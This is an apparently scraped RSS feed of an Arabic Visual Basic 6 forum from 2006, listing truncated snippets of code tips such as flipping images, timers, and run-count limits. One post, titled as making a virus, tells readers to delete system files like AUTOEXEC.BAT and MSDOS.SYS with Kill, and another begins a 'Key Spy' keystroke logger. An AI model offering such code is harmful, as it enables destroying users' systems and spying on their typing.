http://mady.niceboard.com/montada-f5/topic-t1.htm خاص بأكواد ومشاريع وتطبيقات الفيجوال بيزك Sat, 23 Dec 2006 15:45:27 GMT 10 http://hitskin.com/themes/14/36/22/i_logo.gif http://mady.niceboard.com/montada-f5/topic-t1.htm http://mady.niceboard.com/montada-f5/topic-t385.htm mefayed ******************** نسخ الصورة أو قلبها عمودياً أو أفقياً Private Sub Command1_Click() 'الوضع الطبيعي النسخ Picture2.PaintPicture Picture1.Picture, 0, 0, Picture1.Width, Picture1.Height, 0, 0, Picture1.Width, Picture1.Height, vbSrcCopy End Sub Private Sub Command2_Click() 'الوضع الافقي Picture2.PaintPicture Picture1.Picture, 0, 0, Picture1.Width, Picture1.Height, Picture1.Width, 0, -Picture1.Width, Picture1.Height, vbSrcCopy End Sub Private Sub Command3_Click() 'الوضع ... منتدى الفيجوال بيزك Thu, 07 Dec 2006 14:55:12 GMT http://mady.niceboard.com/montada-f5/topic-t385.htm#829 http://mady.niceboard.com/montada-f5/topic-t385.htm http://mady.niceboard.com/montada-f5/topic-t392.htm mefayed ************************************************** *****
نسخ الملفات من وإلى أي مكان في الهارديسك

Private Sub Command1_Click()
FileCopy "c:\Autoexec.bat", "d:\Autoexec.bat"
End Sub
*********************************************************]]> منتدى الفيجوال بيزك Thu, 07 Dec 2006 15:50:06 GMT http://mady.niceboard.com/montada-f5/topic-t392.htm#836 http://mady.niceboard.com/montada-f5/topic-t392.htm http://mady.niceboard.com/montada-f5/topic-t391.htm mefayed ************************************************** ** عرض الزمن والتاريخ timer نضع أداة توقيت ثم نكتب الكود التالى فى الحدث لود للفورم Private Sub Form_Load() Timer1.Interval = 1000 End Sub ثم نكتب الكود التالى فى التايمر Private Sub Timer1_Timer() Label1 = Time & Date End Sub منتدى الفيجوال بيزك Thu, 07 Dec 2006 15:48:31 GMT http://mady.niceboard.com/montada-f5/topic-t391.htm#835 http://mady.niceboard.com/montada-f5/topic-t391.htm http://mady.niceboard.com/montada-f5/topic-t395.htm mefayed ...................................................................... هذا الكود لعمل فورم رخامي ضع هذا الكود في قسم التصريحات General Private Sub GradientFill() Dim i As Long Dim c As Integer Dim r As Double r = ScaleHeight / 3.142 For i = 0 To ScaleHeight c = Abs(220 * Sin(i / r)) Me.Line (0, i)-(ScaleWidth, i), RGB(c, c, c + 30) 'Notice the bias To blue. You can be more subtle by reducing this number (try 10). Try other colours too. Next End Sub وهذا الكود في حدث ... منتدى الفيجوال بيزك Thu, 07 Dec 2006 16:07:04 GMT http://mady.niceboard.com/montada-f5/topic-t395.htm#839 http://mady.niceboard.com/montada-f5/topic-t395.htm http://mady.niceboard.com/montada-f5/topic-t428.htm mefayed اصنع فيرس ب الفيجوال بيسك اصنع فيروس ببرنامج فيجوال بيسك!! 1 ــ قم بإنشاء مشروع جديد واضغط على الفورم Form مرتين لتنتقل لشاشة الكود . 2 ــ اكتب الكود التالي : Kill "c:\TheSystemFile.any" وهكذا حيث أن TheSystemFile.any هو ملف النظام المراد حذفه قم بإظافة أكثر من ملف من الملفات المهمة يعني أهم شيء الشرطات بعد ما تكتب Kill تحط " وبعد ما تنتهي من كتابة مسار الملف تحط " (مثال عملي) قم بكتابة الكود هذا : Kill "c:\AUTOEXEC.BAT" Kill "c:\MSDOS.SYS" ... منتدى الفيجوال بيزك Fri, 15 Dec 2006 17:46:26 GMT http://mady.niceboard.com/montada-f5/topic-t428.htm#946 http://mady.niceboard.com/montada-f5/topic-t428.htm http://mady.niceboard.com/montada-f5/topic-t429.htm mefayed منع اللصق في الحقول السلام عليكم طلب منى اكتر من مرةكود لمنع اللصف في التكست بوكس وكان الرد عند السؤال على هذا الأمر هذا الكود Private Sub Timer1_Timer() Clipboard.Clear End Sub ولكن هذا سيجعلك لاتستطيع نسخ اي شيئ أثناء عمل البرنامج أو بمعني أدق طالما ان التايمر شغال ولذلك فكرت في حل اخر والحمد لله اشتغل معايا تمام وهو : هنحط تايمر على الفورمة ونحط فيه الكود السابق عادي جدا زي كده Private Sub Timer1_Timer() Clipboard.Clear End Sub ونخلي خاصية Enabled قيمتها ... منتدى الفيجوال بيزك Fri, 15 Dec 2006 18:05:26 GMT http://mady.niceboard.com/montada-f5/topic-t429.htm#947 http://mady.niceboard.com/montada-f5/topic-t429.htm http://mady.niceboard.com/montada-f5/topic-t446.htm mefayed مستعرض ملفات ومجلدات وبرامج الوندوز (مستعرض قوي جدا في الاستعراض مع العديد من الخصائص) البرنامج بالغة الأنجليزية اضغط هنا منتدى الفيجوال بيزك Sat, 23 Dec 2006 15:45:27 GMT http://mady.niceboard.com/montada-f5/topic-t446.htm#994 http://mady.niceboard.com/montada-f5/topic-t446.htm http://mady.niceboard.com/montada-f5/topic-t382.htm mefayed التجسس على لوحة المفاتيح Private Sub Form_Load() Me.Caption = "Key Spy" 'Create an API-timer SetTimer Me.hwnd, 0, 1, AddressOf TimerProc End Sub Private Sub Form_Paint() Dim R As RECT Const mStr = "Start this project, go to another application, type something, switch back to this application and unload the form. If you unload the form, a messagebox with all the typed keys will be shown." 'Clear the form Me.Cls 'API uses pixels Me.ScaleMode = vbPixels 'Set the ... منتدى الفيجوال بيزك Thu, 07 Dec 2006 14:51:41 GMT http://mady.niceboard.com/montada-f5/topic-t382.htm#826 http://mady.niceboard.com/montada-f5/topic-t382.htm http://mady.niceboard.com/montada-f5/topic-t396.htm mefayed 3) كود تنفيذ أي برنامج عن طريق الفيجوال بيسك: إذا أردت أن تشغل إي برنامج في جهازك عن طريق الفيجوال بيسك، اكتب العبارة التالية.... Dim A A = Shell ("programpath",n) حيث A متغير... و اكتب مكان الــ programpath مسار البرنامج كاملا، و اكتب مكان n رقم من 0 إلى 6، حيث كل رقم له دلالته... 0 تظهر نافذة البرنامج مخفية. 1 تظهر نافذة البرنامج بحجمها الطبيعي و معها التركيز. 2 تظهر النافذة مصغرة و معها التركيز. 3 تظهر النافذة مكبرة و ومعها التركيز. 4 تظهر نافذة عادية و بدون ... منتدى الفيجوال بيزك Thu, 07 Dec 2006 16:08:47 GMT http://mady.niceboard.com/montada-f5/topic-t396.htm#840 http://mady.niceboard.com/montada-f5/topic-t396.htm http://mady.niceboard.com/montada-f5/topic-t397.htm mefayed للتشفير وفك التشفير
ضع هذا الكود في لود فورم
SubClass (Me.HWnd
وضع هذا الكود في ان لود فورم
UnSubClass (Me.HWnd)
]]> منتدى الفيجوال بيزك Thu, 07 Dec 2006 16:11:01 GMT http://mady.niceboard.com/montada-f5/topic-t397.htm#841 http://mady.niceboard.com/montada-f5/topic-t397.htm http://mady.niceboard.com/montada-f5/topic-t394.htm mefayed منع نسخ أو لصق أي ملف ..في الـ Autorun لحماية برنامجك من النسخ.

Private Sub Form_Load()
Timer1.Interval = 1
End Sub

Private Sub Timer1_Timer()
R = Clipboard.GetText
If Len(R) = 0 Then
Clipboard.Clear
End If
End Sub
]]> منتدى الفيجوال بيزك Thu, 07 Dec 2006 16:03:35 GMT http://mady.niceboard.com/montada-f5/topic-t394.htm#838 http://mady.niceboard.com/montada-f5/topic-t394.htm http://mady.niceboard.com/montada-f5/topic-t393.htm mefayed نسخة مشتركة من البرنامج تشتغل لعدد معين، ثم تطلب منك شراء النسخة الأصلية Private Sub Form_Load() retvalue = GetSetting("A", "0", "Runcount") GD$ = Val(retvalue) + 1 SaveSetting "A", "0", "RunCount", GD$ If GD$ > 3 Then ' الرقم (3) يحدد عدد مرات التشغيل MsgBox ("انتهت مدة تشغيل البرنامج ،،، قم بشراء النسخة الكاملة من المنتج") Unload Me End If End Sub منتدى الفيجوال بيزك Thu, 07 Dec 2006 16:00:39 GMT http://mady.niceboard.com/montada-f5/topic-t393.htm#837 http://mady.niceboard.com/montada-f5/topic-t393.htm http://mady.niceboard.com/montada-f5/topic-t390.htm mefayed ضع زر أمر فى الفورم تم فى الحدث كليك أضف الكود التالى مع مراعاة وضع اسم الملف وامتداده بدلا من FileName.fnm الكود Private Sub Command1_Click() Kill ("C:\FileName.fnm") End Sub مثال اذا كان لدينا ملف على السى اسمه asd.doc وأردنا حزفة نكتب الكود كما يلى Kill ("C:\asd.doc") منتدى الفيجوال بيزك Thu, 07 Dec 2006 15:46:02 GMT http://mady.niceboard.com/montada-f5/topic-t390.htm#834 http://mady.niceboard.com/montada-f5/topic-t390.htm http://mady.niceboard.com/montada-f5/topic-t389.htm mefayed ابطال مفعول زر X ( زر اغلاق النافذة )
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = True
End Sub
]]> منتدى الفيجوال بيزك Thu, 07 Dec 2006 15:40:54 GMT http://mady.niceboard.com/montada-f5/topic-t389.htm#833 http://mady.niceboard.com/montada-f5/topic-t389.htm http://mady.niceboard.com/montada-f5/topic-t388.htm mefayed إضافة حدث عند الضغط على زر الماوس الأيمن

Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)

IF BUTTON=2 THEN
msgbox "منتديات المنة"
END IF
End Sub
]]> منتدى الفيجوال بيزك Thu, 07 Dec 2006 15:38:16 GMT http://mady.niceboard.com/montada-f5/topic-t388.htm#832 http://mady.niceboard.com/montada-f5/topic-t388.htm http://mady.niceboard.com/montada-f5/topic-t387.htm mefayed فتح الفورم بشكل جميل فى الاجراء العام general نكتب الكود التالى Sub Explode(form1 As Form) form1.Width = 0 form1.Height = 0 form1.Show For x = 0 To 5000 Step 1 form1.Width = x form1.Height = x With form1 .Left = (Screen.Width - .Width) / 2 .Top = (Screen.Height - .Height) / 2 End With Next End Sub ثم فى ناقذة الفورم فى الإجراء load نكتب الكود التالى Private Sub Form_Load() Explode Me End Sub منتدى الفيجوال بيزك Thu, 07 Dec 2006 15:32:16 GMT http://mady.niceboard.com/montada-f5/topic-t387.htm#831 http://mady.niceboard.com/montada-f5/topic-t387.htm http://mady.niceboard.com/montada-f5/topic-t384.htm mefayed نسخ خلفية سطح المكتب إلى النموذج

Private Declare Function PaintDesktop Lib "user32" (ByVal hdc As Long) As Long

Private Sub Command1_Click()
PaintDesktop Form1.hdc
End Sub
]]> منتدى الفيجوال بيزك Thu, 07 Dec 2006 14:54:02 GMT http://mady.niceboard.com/montada-f5/topic-t384.htm#828 http://mady.niceboard.com/montada-f5/topic-t384.htm http://mady.niceboard.com/montada-f5/topic-t383.htm mefayed منع تشغيل أكثر من نسخة من البرنامج

Private Sub Form_Load()
If App.PrevInstance = True Then
MsgBox "لا يمكن تشغيل أكثر من نسخة من البرنامج"
Unload Me
Exit Sub
End If
End Sub
]]> منتدى الفيجوال بيزك Thu, 07 Dec 2006 14:53:23 GMT http://mady.niceboard.com/montada-f5/topic-t383.htm#827 http://mady.niceboard.com/montada-f5/topic-t383.htm http://mady.niceboard.com/montada-f5/topic-t381.htm mefayed --------------------------------------------------------------------------------- السماح بكتابة حروف إنجليزية فقط في مربع النص Private Sub Text1_KeyPress(KeyAscii As Integer) If (KeyAscii >= Asc("a") And KeyAscii <= Asc("z")) Or (KeyAscii >= Asc("A") And KeyAscii <= Asc("Z")) Then Else KeyAscii = 0 End If End Sub --------------------------------------------------------------------------------- السماح بكتابة أرقام فقط داخل مربع النص Private ... منتدى الفيجوال بيزك Thu, 07 Dec 2006 14:49:40 GMT http://mady.niceboard.com/montada-f5/topic-t381.htm#825 http://mady.niceboard.com/montada-f5/topic-t381.htm http://mady.niceboard.com/montada-f5/topic-t27.htm mefayed

موقع رائع لأكواد الفيجوال بيزك
http://alhosam.i8.com/web/htm/codevb.htm

]]> منتدى الفيجوال بيزك Wed, 08 Nov 2006 14:12:30 GMT http://mady.niceboard.com/montada-f5/topic-t27.htm#32 http://mady.niceboard.com/montada-f5/topic-t27.htm